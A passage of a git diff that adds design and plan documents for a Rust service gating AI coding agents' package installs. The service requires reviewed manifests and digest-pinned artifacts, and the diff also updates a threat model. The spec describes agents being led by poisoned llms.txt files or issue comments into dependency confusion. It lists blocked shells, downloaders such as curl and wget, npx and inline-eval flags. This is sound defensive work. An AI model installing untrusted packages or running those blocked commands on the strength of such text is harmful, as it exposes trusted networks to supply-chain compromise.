`appguardrail` owns its application/agent guardrail implementation and evidence. Wardnet validates released evidence/contracts from these owners but does not copy their implementation logic or query their private persistence. +- A mutable branch, pull-request head, sibling working tree, or other non-released foreign-owner state is development evidence only. Security-critical Agent Artifact Admission must fail closed when a required immutable/released owner contract or verifiable evidence receipt is absent, malformed, stale, or bound to a different artifact/policy identity. ## Security Grounding The startup gate and secret-handling path in this PR are aligned with NIST guidance that authentication secrets need lifecycle control and protected handling, and that authenticators should fail securely instead of silently degrading to weaker access. Wardnet applies that by preferring `WAF_IDS_CREDENTIALS_PATH`, allowing env only as bootstrap transport, and refusing non-loopback readiness when no usable write credential can be presented through `X-Admin-Token`. The operator recovery path is documented in [docs/deployment/production.md](../deployment/production.md), and the accepted bootstrap sources and RBAC shapes are documented in [docs/runbooks/operations.md](../runbooks/operations.md). +Agent Artifact Admission adds a software-supply-chain evidence boundary. NIST SP 800-218 Version 1.1 PS.3.2 calls for collecting, safeguarding, maintaining, and sharing software-component provenance and protecting its integrity; Wardnet applies that principle by binding admission to immutable artifact/evidence identities instead of treating a package name, mutable ref, or unauthenticated owner assertion as sufficient proof. NIST SP 800-161 Rev. 1 Update 1 is the current final NIST C-SCRM publication and frames malicious, counterfeit, vulnerable, and insufficiently understood third-party components/services as supply-chain risks requiring explicit identification, assessment, and mitigation. SP 800-218 Rev. 1 / SSDF Version 1.2 remains an initial public draft and is not promoted here as final authority. + ### Research artifact redistribution assessment -The authentication-specific NIST SP 800-57 Part 1 Rev. 5 and NIST SP 800-63B sources below remain linked to their authoritative publication records and summarized here; this PR does not republish copies of those two PDFs because the exact retrieved artifacts were not independently assessed for redistribution during this change. Separately, the branch retains `docs/papers/nist-sp-800-218-ssdf.pdf` as redistributable NIST SP 800-218 Version 1.1 evidence for the secure-development and credential-bootstrap boundary. Its authoritative source, redistribution basis, attribution, and final-versus-draft status are recorded in [docs/doctoring/fail-closed-management-auth.md](../doctoring/fail-closed-management-auth.md). The repository copy is evidence only and does not supersede NIST's publication. +The authentication-specific NIST SP 800-57 Part 1 Rev. 5 and NIST SP 800-63B sources below remain linked to their authoritative publication records and summarized here; this PR does not republish copies of those two PDFs because the exact retrieved artifacts were not independently assessed for redistribution during this change. Separately, the branch retains `docs/papers/nist-sp-800-218-ssdf.pdf` as redistributable NIST SP 800-218 Version 1.1 evidence for the secure-development, credential-bootstrap, and software-provenance boundary. Its authoritative source, redistribution basis, attribution, and final-versus-draft status are recorded in [docs/doctoring/fail-closed-management-auth.md](../doctoring/fail-closed-management-auth.md). The repository copy is evidence only and does not supersede NIST's publication. ## Primary Threats @@ -34,19 +41,24 @@ The authentication-specific NIST SP 800-57 Part 1 Rev. 5 and NIST SP 800-63B sou | Unauthorized management write | Route takeover or false blocking | `X-Admin-Token` write gate; multi-token RBAC with actor labels and readonly role; fail-closed startup on non-loopback bind without a write-capable principal; `401` vs `403` without revealing the expected role; audit log for successful writes | SSO/OIDC, mTLS or identity proxy, SCIM | | Malicious threat feed import | False positives or broad blocks | Validation, route-scoped enforcement | Source signing, feed confidence, staged promotion | | State file corruption | Startup failure or stale policy | JSON parse failure surfaces startup error | Database, backup, schema migration | -| Upstream SSRF through routes | Internal network exposure | Upstream scheme validation | Upstream allowlists, egress policy | +| Upstream SSRF through routes | Internal network exposure | Upstream scheme validation | Released EgressWeave boundary for destination/address/redirect/proxy/TLS enforcement | | Gateway DoS | Availability loss | Rust memory safety, event retention limit | Rate limits, body limits, async event sink | | DNSBL abuse | Reputation damage | Loopback response-code validation | Authoritative DNS service, signing, publisher workflow | | Secret disclosure | Admin compromise | Support bundle excludes admin token; secrets bootstrapped into credential registry (`WAF_IDS_CREDENTIALS_PATH` preferred over long-lived env); health exposes source label only | External secret manager / SSO, rotation, access review | +| Artifact identity substitution | A reviewed package coordinate is replaced by different bytes, registry/owner identity, workspace manifest, or installer interpretation while retaining apparent admission | Agent Artifact Admission binds exact structured coordinates, artifact digest, workspace-manifest digest, submitted argv, policy identity, and required evidence; mismatches deny | Released retrieval/executor evidence must cryptographically bind the retrieved bytes and effective execution input back to the same admission identity | +| Forged or stale foreign-owner evidence | A sandbox/egress/orchestration/guardrail claim is replayed, fabricated, or attached to a different artifact/policy decision | Wardnet consumes foreign evidence only through released/versioned contracts, validates required identity/freshness fields, and fails closed on absent, malformed, stale, unverifiable, or mutable-branch evidence | Cryptographic issuer identity, anti-replay/expiry semantics, immutable release provenance, and conformance tests per owner contract | +| Admission-authority confusion | A Wardnet allow receipt is misread as proof that hostile execution, egress, installation, LLM/tool orchestration, or guardrail enforcement occurred | Receipt semantics are explicitly limited to Wardnet admission; canonical foreign-owner responsibilities remain separate | End-to-end buyer/operator evidence should correlate distinct owner receipts without collapsing them into one authority claim | ## Human Approval Boundary -AI SOC recommendations may explain, summarize, or suggest actions, but enforcement-changing decisions must remain human-approved until audit trails, rollback, and policy simulation are implemented. +AI SOC recommendations may explain, summarize, or suggest actions, but enforcement-changing decisions must remain human-approved until audit trails, rollback, and policy simulation are implemented. Any future LLM-backed triage must use the released `contextual-orchestrator` API; model output cannot substitute for deterministic Agent Artifact Admission evidence or foreign-owner receipts. ## References Barker, E. (2020). *Recommendation for key management: Part 1 - General* (NIST SP 800-57 Part 1 Rev. 5). National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-57pt1r5 +Boyens, J., Smith, A., Bartol, N., Winkler, K., Holbrook, A., & Fallon, M. (2022, updated 2024). *Cybersecurity supply chain risk management practices for systems and organizations* (NIST SP 800-161 Rev. 1 Update 1). National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-161r1-upd1 + Grassi, P. A., Garcia, M. E., & Fenton, J. L. (2020). *Digital identity guidelines: Authentication and lifecycle management* (NIST SP 800-63B). National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-63b -National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 +Souppaya, M., Scarfone, K., & Dodson, D. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST SP 800-218). National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218 diff --git a/docs/superpowers/plans/2026-08-28-agent-artifact-admission.md b/docs/superpowers/plans/2026-08-28-agent-artifact-admission.md new file mode 100644 index 00000000..c58fd784 --- /dev/null +++ b/docs/superpowers/plans/2026-08-28-agent-artifact-admission.md @@ -0,0 +1,390 @@ +# Agent Artifact Admission Controller Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Add an independently deployable Rust admission service that blocks AI-agent package installation unless a reviewed manifest and exact content-addressed artifact policy authorize it. + +**Architecture:** A new workspace crate owns strict models, pure deterministic policy evaluation, append-only audit sinks, configuration/credential loading, and a small authenticated Axum API. It never executes commands; callers receive a durable allow/block receipt and must fail closed when the service is unavailable. + +**Tech Stack:** Rust 2024, Axum 0.8, Tokio 1, Serde/serde_json 1, `ring` SHA-256, `subtle` constant-time comparison, `reqwest::Url`, Tower integration tests, proptest. + +**Spec:** `docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md` + +## Global Constraints + +- Base all work directly on protected `main`; do not stack on unrelated Wardnet PRs. +- Production code is Rust only. +- Runtime credentials come from the credential JSON file; no runtime secret lookup from environment variables. +- The process binds only to an IP loopback address in v0.1. +- Requests contain structured `argv`; no shell command string API exists. +- Empty policy, absent evidence, malformed evidence, and audit failure all block. +- Unknown JSON fields are rejected. +- Public APIs require doc comments. +- Production statement coverage, branch coverage, and public API documentation coverage target 100%. +- No raw token or raw command may appear in responses, logs, or audit records. +- Existing Wardnet gateway behavior must remain unchanged. + +--- + +### Task 1: Lock the threat contract with a failing test + +**Files:** +- Create: `tests/agent_artifact_admission_red.rs` +- Create: `docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md` +- Create: `docs/superpowers/plans/2026-08-28-agent-artifact-admission.md` + +**Interfaces:** +- Consumes: none +- Produces: the required public API names used by the implementation tasks + +- [ ] **Step 1: Write the failing attack regression** + +```rust +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, InstallIntent, admission_decision, +}; + +#[test] +fn unowned_package_from_llms_txt_is_blocked() { + let policy = AdmissionPolicy::deny_all_for_test(); + let intent = InstallIntent::unowned_llms_package_for_test(); + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision.as_str(), "block"); +} +``` + +- [ ] **Step 2: Push the test and verify RED on GitHub Actions** + +Expected: the Rust job fails because `wardnet_agent_artifact_admission` does not yet exist. This establishes that the test detects the missing boundary rather than passing against existing behavior. + +- [ ] **Step 3: Commit** + +```bash +git add tests/agent_artifact_admission_red.rs docs/superpowers + +git commit -m "test(security): define agent artifact admission boundary" +``` + +### Task 2: Create strict domain models and SHA-256 helpers + +**Files:** +- Modify: `Cargo.toml` +- Modify: `Cargo.lock` +- Create: `crates/agent-artifact-admission/Cargo.toml` +- Create: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/src/model.rs` +- Test: `crates/agent-artifact-admission/tests/admission_contract.rs` +- Delete: `tests/agent_artifact_admission_red.rs` + +**Interfaces:** +- Consumes: design request/policy schema +- Produces: `InstallIntent`, `AdmissionPolicy`, `ApprovedManifest`, `ApprovedArtifact`, `AdmissionDecision`, `DecisionKind`, `ReasonCode`, `sha256_hex`, `is_sha256_hex` + +- [ ] **Step 1: Move the RED regression into the new crate and add strict-deserialization tests** + +Cover unknown fields, empty IDs, invalid lowercase SHA-256, duplicate artifact arguments, and serialization of snake-case enums. + +- [ ] **Step 2: Run the focused tests and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract +``` + +Expected: unresolved model functions/types. + +- [ ] **Step 3: Implement the model types** + +Use `#[serde(deny_unknown_fields)]` on all input/config structs and `#[serde(rename_all = "snake_case")]` on enums. Bound all identifiers, arguments, artifact fields, and counts during validation rather than accepting unbounded strings. + +- [ ] **Step 4: Implement SHA-256 through `ring::digest`** + +```rust +pub fn sha256_hex(input: &[u8]) -> String { + let digest = ring::digest::digest(&ring::digest::SHA256, input); + digest.as_ref().iter().map(|byte| format!("{byte:02x}")).collect() +} +``` + +Add NIST-known vector assertions for empty input and `abc`. + +- [ ] **Step 5: Run focused tests and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract model_ +``` + +- [ ] **Step 6: Commit** + +```bash +git add Cargo.toml Cargo.lock crates/agent-artifact-admission tests/agent_artifact_admission_red.rs + +git commit -m "feat(security): add artifact admission domain model" +``` + +### Task 3: Implement pure fail-closed policy evaluation + +**Files:** +- Create: `crates/agent-artifact-admission/src/policy.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Modify: `crates/agent-artifact-admission/tests/admission_contract.rs` + +**Interfaces:** +- Consumes: `AdmissionPolicy`, `InstallIntent` +- Produces: `pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision` + +- [ ] **Step 1: Add failing tests for source provenance** + +Test remote `llms_txt`, `llms_full_txt`, `web_page`, and `issue_comment` sources with missing URI, HTTP URI, user-info URI, missing digest, query, and fragment. Query/fragment must be removed from the normalized response URI. + +- [ ] **Step 2: Add failing tests for forbidden command paths** + +Test shells, downloaders, `npx`/`pnpx`/`bunx`, runtime `-c`/`-e`, alternate Python trust roots, non-allowlisted executable, empty/missing artifact arguments, and duplicate artifacts. + +- [ ] **Step 3: Add failing tests for exact policy matching** + +Test manifest, ecosystem, name, version, registry, owner, digest, and artifact-argument mismatch independently. Test moving versions (`latest`, `main`, wildcard, range) and empty deny-all policy. + +- [ ] **Step 4: Add failing tests for package-manager safety flags** + +Require `--ignore-scripts`, `--require-hashes`, `--locked`, and container `@sha256:` according to executable/subcommand. + +- [ ] **Step 5: Run all policy tests and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract +``` + +- [ ] **Step 6: Implement deterministic validation and reason ordering** + +The evaluator accumulates stable `ReasonCode` values without including untrusted text. It returns `allow` only when the reason list is empty. Exact artifact matching uses normalized HTTPS registry URLs and all identity fields. + +- [ ] **Step 7: Add a proptest invariant** + +For arbitrary `argv`, source strings, and package fields, assert that the evaluator never panics. Assert that an empty policy never allows. + +- [ ] **Step 8: Run focused and property tests; verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract +``` + +- [ ] **Step 9: Commit** + +```bash +git add crates/agent-artifact-admission/src crates/agent-artifact-admission/tests + +git commit -m "feat(security): enforce exact package admission policy" +``` + +### Task 4: Add append-only audit with audit-before-allow semantics + +**Files:** +- Create: `crates/agent-artifact-admission/src/audit.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/tests/audit_contract.rs` + +**Interfaces:** +- Consumes: `InstallIntent`, `AdmissionDecision` +- Produces: `AuditRecord`, `AuditArtifact`, `AuditSink`, `FileAuditSink`, `MemoryAuditSink`, `build_audit_record` + +- [ ] **Step 1: Write failing audit minimization tests** + +Assert records contain command SHA-256 and normalized source URI, but not raw argv, query, fragment, or token-shaped test values. Assert artifact coordinates and policy identity are preserved. + +- [ ] **Step 2: Write failing file durability tests** + +Append two records and verify two complete NDJSON lines. Force an oversized serialized record and deterministic sink failure; both must return an error. + +- [ ] **Step 3: Run and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test audit_contract +``` + +- [ ] **Step 4: Implement sinks** + +`FileAuditSink` serializes writers with `std::sync::Mutex`, opens with append/create, writes one bounded line, flushes, and calls `sync_data`. `MemoryAuditSink` stores records for embedding/tests. Neither sink logs paths or payloads in errors returned to clients. + +- [ ] **Step 5: Run and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test audit_contract +``` + +- [ ] **Step 6: Commit** + +```bash +git add crates/agent-artifact-admission/src/audit.rs crates/agent-artifact-admission/tests/audit_contract.rs + +git commit -m "feat(security): persist minimized admission audit evidence" +``` + +### Task 5: Add configuration, credentials, and strict CLI + +**Files:** +- Create: `crates/agent-artifact-admission/src/config.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/tests/cli_contract.rs` +- Create: `deploy/agent-artifact-admission.example.json` +- Create: `deploy/agent-artifact-admission.credentials.schema.json` + +**Interfaces:** +- Produces: `AdmissionServiceConfig`, `CredentialFile`, `CliArgs`, `parse_cli_args`, `load_config`, `load_admin_token`, `validate_service_config` + +- [ ] **Step 1: Add failing config tests** + +Reject unsupported version, non-loopback bind, zero/oversized body limit, missing audit path, duplicate policy entries, forbidden allowlisted executable, malformed artifact/manifest identity, and empty/short/oversized credential. + +- [ ] **Step 2: Add failing CLI tests** + +Require exactly one `--config PATH` and one `--credentials PATH`; reject duplicates, missing values, positional arguments, and unknown flags. + +- [ ] **Step 3: Run and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test cli_contract +``` + +- [ ] **Step 4: Implement loading and validation** + +Read bounded UTF-8 JSON, reject unknown fields, and return stable non-secret errors. The committed config contains an empty policy and therefore denies all operations. + +- [ ] **Step 5: Run and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test cli_contract +``` + +- [ ] **Step 6: Commit** + +```bash +git add crates/agent-artifact-admission/src/config.rs crates/agent-artifact-admission/tests/cli_contract.rs deploy + +git commit -m "feat(security): load reviewed admission policy and credentials" +``` + +### Task 6: Add authenticated HTTP admission API + +**Files:** +- Create: `crates/agent-artifact-admission/src/http.rs` +- Create: `crates/agent-artifact-admission/src/main.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/tests/http_contract.rs` + +**Interfaces:** +- Produces: `AdmissionState`, `build_app`, `run_service`, `run_cli`, routes `/healthz`, `/v1/policy`, `/v1/admissions` + +- [ ] **Step 1: Add failing authentication tests** + +Verify missing, duplicate, wrong, non-ASCII, empty, and oversized `X-Admin-Token` return 401. Verify the correct token succeeds. Include equal-length and different-length wrong tokens. + +- [ ] **Step 2: Add failing response-semantics tests** + +Verify policy block returns 200 and `decision=block`; candidate allow returns 200 only after the audit sink contains the record. Verify malformed authenticated JSON returns audited 400. + +- [ ] **Step 3: Add failing audit-outage tests** + +Inject a sink that always fails. Both candidate allow and candidate block must return 503 with a block decision and `audit_unavailable`; no caller may receive allow. + +- [ ] **Step 4: Run and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test http_contract +``` + +- [ ] **Step 5: Implement the router and fixed-size constant-time token comparison** + +Use Axum `DefaultBodyLimit`. Hash malformed bodies before building the minimized audit record. Move synchronous audit append to `tokio::task::spawn_blocking`. + +- [ ] **Step 6: Implement thin process entrypoint** + +Parse CLI, load/validate policy and credential files, construct `FileAuditSink`, bind the validated loopback socket, and serve with graceful Ctrl-C/SIGTERM shutdown. + +- [ ] **Step 7: Run and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test http_contract +cargo test -p wardnet-agent-artifact-admission --test cli_contract +``` + +- [ ] **Step 8: Commit** + +```bash +git add crates/agent-artifact-admission/src crates/agent-artifact-admission/tests + +git commit -m "feat(security): expose authenticated artifact admission API" +``` + +### Task 7: Publish contracts, threat model, and research traceability + +**Files:** +- Create: `docs/api/agent-artifact-admission.openapi.yaml` +- Create: `docs/adr/0012-agent-artifact-admission.md` +- Create: `docs/security/agent-artifact-admission.md` +- Create: `docs/doctoring/agent-artifact-admission.md` +- Create: `docs/product-technical-gap-baseline.md` + +**Interfaces:** +- Consumes: final service behavior +- Produces: buyer/operator contract and traceability + +- [ ] **Step 1: Write OpenAPI 3.1 contract** + +Define strict request/response schemas, stable reason codes, authentication, body limit, and 200/400/401/413/503 semantics. + +- [ ] **Step 2: Write accepted ADR** + +Record why this is a separate Wardnet process, why source text is non-authoritative, why policy is immutable/file-backed in v0.1, and why policy blocks use HTTP 200. + +- [ ] **Step 3: Write threat model and operations runbook** + +Cover dependency confusion, package hallucination, prompt injection, source poisoning, registry substitution, install scripts, audit outage, bypass, replay, and direct service exposure. Provide integration sequence and incident response. + +- [ ] **Step 4: Write APA 7 research/standards note** + +Trace decisions to the METAL LAB incident report, OWASP Secure Coding with AI/MCP/Agentic guidance, NIST SSDF, SLSA, TUF, CWE-829, and CWE-494. Do not commit copyrighted papers without redistribution permission. + +- [ ] **Step 5: Update product/technical gap baseline** + +Record the feature as implemented on the PR head and retain explicit gaps: execution-broker integration, signed policy distribution, transitive graph/SBOM verification, sandbox receipts, durable PostgreSQL outbox, and SIEM projection. + +- [ ] **Step 6: Commit** + +```bash +git add docs + +git commit -m "docs(security): define agent artifact admission operating model" +``` + +### Task 8: Exact-head verification and PR readiness + +**Files:** +- Modify as required by verified findings only + +- [ ] **Step 1: Run repository gates** + +```bash +cargo fmt --check +cargo test --locked --workspace +cargo clippy --locked --workspace --all-targets -- -D warnings +``` + +- [ ] **Step 2: Run coverage** + +```bash +cargo llvm-cov --locked -p wardnet-agent-artifact-admission --all-targets --branch --fail-under-lines 100 --fail-under-branches 100 +``` + +If stable Rust cannot instrument branches, use the repository's date-pinned nightly coverage lane; do not suppress or rewrite failed tests. + +- [ ] **Step 3: Inspect security and review evidence** + +Read all exact-head CI, Security Scan, Semgrep, CodeQL, fuzz/property, and automated review outputs. Reproduce each actionable finding, fix the root cause, rerun, and resolve only after the exact head contains the fix. + +- [ ] **Step 4: Remove all one-shot workflow/bootstrap artifacts** + +A temporary lockfile-update workflow may exist only long enough to produce the reviewed `Cargo.lock`; delete it in the same development loop and confirm the final diff contains no self-modifying workflow. + +- [ ] **Step 5: Mark ready and enable auto-merge only when truthful** + +Required conditions: exact-head checks successful, zero unresolved actionable threads, branch current with `main`, and the live independent approval rule satisfied. Never admin-bypass or self-approve. diff --git a/docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md b/docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md new file mode 100644 index 00000000..e7b58c54 --- /dev/null +++ b/docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md @@ -0,0 +1,251 @@ +# Agent Artifact Admission Controller Design + +- Status: Proposed for implementation +- Date: 2026-08-28 +- Issue: #128 +- Owning repository: `ContextualWisdomLab/wardnet` + +## Problem + +AI coding agents can read `llms.txt`, `llms-full.txt`, README fragments, issue comments, retrieved pages, or tool output and translate text into package installation or code execution. The source document is not an authority for package ownership, registry identity, artifact integrity, or execution permission. A newly registered package name or domain can therefore turn a model hallucination or poisoned document into dependency confusion inside a trusted network. + +Wardnet currently protects HTTP traffic, ingests threat evidence, and provides an AI SOC control plane, but it does not expose a pre-execution admission boundary for coding-agent package operations. A WAF signature alone cannot solve this: the decision must bind the proposed command to a reviewed dependency manifest and immutable artifact identity before the package manager or downloader runs. + +## Goal + +Add an independently deployable Rust service, `wardnet-agent-artifact-admission`, that answers one question: + +> May this actor execute this exact structured package-install command, from this exact instruction source, against this reviewed manifest and these exact content-addressed artifacts? + +The service never executes commands. It emits a deterministic allow/block decision and a durable audit record. An execution broker, CI runner, OpenCode/Codex/Claude/Hermes wrapper, or MCP tool must require an `allow` decision before invoking a package manager. + +## Security invariants + +1. Web pages, `llms.txt`, tool output, issue comments, and model text are untrusted data. +2. Source text cannot create package ownership, artifact trust, or execution capability. +3. Requests contain an argument vector (`argv`), never a shell command string. +4. An empty policy allows nothing. +5. The executable must be explicitly allowlisted and must not be a forbidden shell, downloader, package executor, or runtime-eval path. +6. Every direct artifact must match policy by ecosystem, exact name, exact version, normalized HTTPS registry URL, owner, and SHA-256 digest. +7. Every artifact must identify the exact argument token that represents it; that token must appear exactly once in `argv`. +8. The workspace dependency-manifest SHA-256 must match a reviewed policy entry. +9. Remote instruction sources require an HTTPS URI without user information and a SHA-256 content digest. +10. Package-manager hardening flags are mandatory: npm-family installs ignore lifecycle scripts, Python installs require hashes, Cargo installs use the lockfile, and container pulls use an image digest. +11. Policy and credentials are immutable for the process lifetime; changes require a reviewed configuration update and restart. +12. An allow response is returned only after the audit record has been appended and synchronized. Audit failure becomes a block with HTTP 503. +13. Audit data contains no admin token and no raw command text. +14. v0.1 binds only to a loopback address. Remote exposure is delegated to an authenticated TLS or mTLS proxy. + +## Architecture + +```text +AI coding agent / execution broker + | + | structured install intent + v ++-----------------------------------------------+ +| Wardnet Agent Artifact Admission Controller | +| | +| authentication -> structural validation | +| -> source provenance -> command restrictions | +| -> manifest admission -> artifact admission | +| -> append-only audit -> allow/block response | ++-----------------------------------------------+ + | + | allow receipt only + v +sandboxed package-manager executor +``` + +The controller is a separate workspace crate rather than a route in the existing large Wardnet gateway module. This keeps the executable independently deployable, limits privileges, and avoids giving the main gateway a command-execution responsibility. + +## Files and components + +```text +crates/agent-artifact-admission/ +├── Cargo.toml +├── src/ +│ ├── lib.rs public API and re-exports +│ ├── model.rs strict request, policy, response, and audit types +│ ├── policy.rs pure validation and deterministic admission decision +│ ├── audit.rs append-only NDJSON audit sinks +│ ├── config.rs config, credential, and strict CLI loading +│ ├── http.rs Axum routes, authentication, and audit-before-allow +│ └── main.rs thin process entrypoint +└── tests/ + ├── admission_contract.rs + ├── http_contract.rs + └── cli_contract.rs +``` + +## Request contract + +`POST /v1/admissions` receives JSON with unknown fields rejected: + +```json +{ + "request_id": "req-20260828-0001", + "actor_id": "agent:codex:workspace-17", + "workspace_id": "ContextualWisdomLab/wardnet", + "operation": "install", + "argv": ["npm", "install", "@cwl/example@1.2.3", "--ignore-scripts"], + "manifest_sha256": "64-lowercase-hex", + "source": { + "kind": "llms_txt", + "uri": "https://example.invalid/llms.txt", + "content_sha256": "64-lowercase-hex" + }, + "artifacts": [ + { + "ecosystem": "npm", + "name": "@cwl/example", + "version": "1.2.3", + "registry_url": "https://registry.npmjs.org", + "owner": "ContextualWisdomLab", + "sha256": "64-lowercase-hex", + "artifact_argument": "@cwl/example@1.2.3" + } + ] +} +``` + +The response is HTTP 200 for both policy allow and policy block: + +```json +{ + "request_id": "req-20260828-0001", + "decision": "block", + "reason_codes": ["artifact_not_approved"], + "policy_id": "enterprise-default", + "policy_revision": "2026-08-28.1", + "normalized_source_uri": "https://example.invalid/llms.txt", + "command_sha256": "64-lowercase-hex", + "artifact_count": 1 +} +``` + +HTTP status communicates transport/auth/service state only: + +- `200`: a durable allow/block decision exists +- `400`: malformed or structurally invalid request, durably audited when authentication succeeded +- `401`: missing, duplicate, malformed, or incorrect admin token +- `413`: body limit exceeded +- `503`: audit durability unavailable; execution must not proceed + +## Policy contract + +The service configuration contains: + +- `configuration_version = "1"` +- loopback `bind_address` +- bounded `max_request_body_bytes` +- mandatory `audit_log_path` +- immutable `policy` + +The policy contains: + +- stable `policy_id` and `policy_revision` +- explicit `allowed_executables` +- reviewed workspace manifest digests +- exact approved artifact identities + +Policy validation rejects duplicates, malformed digests, insecure registry URLs, unbounded strings, forbidden executables, wildcard or moving versions (`latest`, `main`, ranges), and entries without review provenance. + +## Command restrictions + +The following executables are always blocked even if named by policy: + +- shells and command interpreters (`sh`, `bash`, `zsh`, `cmd`, `powershell`, `pwsh`) +- direct download clients (`curl`, `wget`, `aria2c`, `ftp`, `scp`) +- package executors (`npx`, `pnpx`, `bunx`) + +Language runtimes are blocked when command arguments request inline evaluation (`-c`, `-e`, `--eval`, or `--execute`). Package-manager options that create an alternate trust root, such as `--extra-index-url` and `--trusted-host`, are blocked. + +Safe-flag requirements are deterministic: + +- `npm`, `pnpm`, `yarn`, `bun`: `--ignore-scripts` +- `pip`, `pip3`, and `uv pip`: `--require-hashes` +- `cargo install`: `--locked` +- `docker pull` and `podman pull`: argument includes `@sha256:` + +## Authentication + +Both `/v1/policy` and `/v1/admissions` require exactly one `X-Admin-Token`. `/healthz` is unauthenticated and exposes only status, policy identity, and counts. The token is read from a credentials JSON file supplied with `--credentials`; runtime environment variables are not a credential source. Comparison uses a fixed-size constant-time buffer and constant-time length equality. + +## Audit contract + +Each authenticated admission attempt produces one NDJSON record containing: + +- timestamp +- request, actor, and workspace IDs +- operation +- decision and reason codes +- policy identity +- normalized source kind and URI +- source content digest +- command digest, not raw `argv` +- reviewed manifest digest +- artifact coordinates and digests + +The file sink serializes writers, appends one bounded JSON line, flushes, and synchronizes data before success. A memory sink is provided for embedding/tests. Audit serialization or I/O errors fail closed. + +## Error handling + +- Validation returns stable machine-readable reason codes in deterministic order. +- Multiple defects may be returned together so an operator can remediate one request without repeated trial-and-error. +- Error messages never contain the admin token, raw command, query string, URL fragment, or unbounded upstream text. +- Malformed authenticated JSON is identified by a body SHA-256-derived request surrogate and audited without storing the body. + +## Verification + +Tests must cover: + +- the reported attack shape: unowned package from `llms.txt` is blocked +- exact approved artifact and reviewed manifest is allowed +- registry, owner, version, digest, manifest, or argument mismatch blocks +- moving/unpinned versions block +- remote source without HTTPS or source digest blocks +- source query/fragment removed from audit/response +- shell/downloader/package-executor/runtime-eval commands block +- missing package-manager safety flags block +- duplicate artifacts, arguments, and policy entries block +- missing/duplicate/wrong/non-ASCII/oversized tokens return 401 +- no token or raw command appears in audit output +- malformed authenticated JSON is audited and returns 400 +- audit failure converts any candidate decision to HTTP 503/block +- loopback-only configuration and strict CLI parsing +- property tests for arbitrary input never panic and never allow without a complete exact policy match +- SHA-256 NIST-known vectors + +Merge requires exact-head formatting, locked workspace tests, strict Clippy, central security checks, current-head review, zero unresolved actionable threads, and the live independent-approval rule. + +## Deployment + +The process starts with: + +```text +wardnet-agent-artifact-admission \ + --config /etc/wardnet/agent-artifact-admission.json \ + --credentials /run/secrets/wardnet-agent-artifact-admission.json +``` + +The committed example policy has no approved manifests or artifacts and therefore blocks every install. Operators create policy entries through code review or a separate policy delivery system; there is no mutation API in v0.1. + +## Non-goals + +- executing package managers or shell commands +- inferring package ownership from website content +- automatically repairing hallucinated package names +- dynamically registering or probing package names +- replacing package registry verification, TUF, Sigstore, SLSA provenance, or sandboxing +- allowing model output to mutate policy +- exposing the service directly to a non-loopback network + +## Follow-up boundaries + +- integrate the admission call into central OpenCode/Codex/Claude/Hermes execution brokers +- accept signed policy bundles through TUF/Sigstore instead of local files +- emit OCSF/OTLP through Wardnet's SIEM export path +- add a durable PostgreSQL/outbox audit backend +- add sandbox execution receipts and post-install filesystem/network attestation +- add transitive dependency graph verification and SBOM comparison diff --git a/tests/agent_artifact_documentation_contract.rs b/tests/agent_artifact_documentation_contract.rs new file mode 100644 index 00000000..3bcb56ed --- /dev/null +++ b/tests/agent_artifact_documentation_contract.rs @@ -0,0 +1,49 @@ +use std::fs; + +fn read_repo_file(path: &str) -> String { + fs::read_to_string(path).unwrap_or_else(|error| panic!("failed to read {path}: {error}")) +} + +#[test] +fn agent_artifact_admission_stays_in_code_current_operator_and_architecture_docs() { + let architecture = read_repo_file("docs/architecture.md"); + assert!( + architecture.contains("Agent Artifact Admission"), + "architecture must name the Wardnet-owned Agent Artifact Admission bounded context" + ); + assert!( + architecture.contains("crates/agent-artifact-admission"), + "architecture must identify the shipped Agent Artifact Admission crate" + ); + for foreign_owner in [ + "quarantine-sandbox-runtime", + "EgressWeave", + "contextual-orchestrator", + "appguardrail", + ] { + assert!( + architecture.contains(foreign_owner), + "architecture must preserve the external-owner boundary for {foreign_owner}" + ); + } + + let claude = read_repo_file("CLAUDE.md"); + assert!( + claude.contains("crates/agent-artifact-admission"), + "operator/developer guidance must include the shipped Agent Artifact Admission workspace member" + ); + assert!( + !claude.contains("Root Cargo workspace with two members"), + "workspace guidance must not claim two members after Agent Artifact Admission is present" + ); + assert!( + !claude.contains("Both workspace crates use `edition = \"2024\"`"), + "toolchain guidance must not retain the pre-admission two-crate statement" + ); + + let agents = 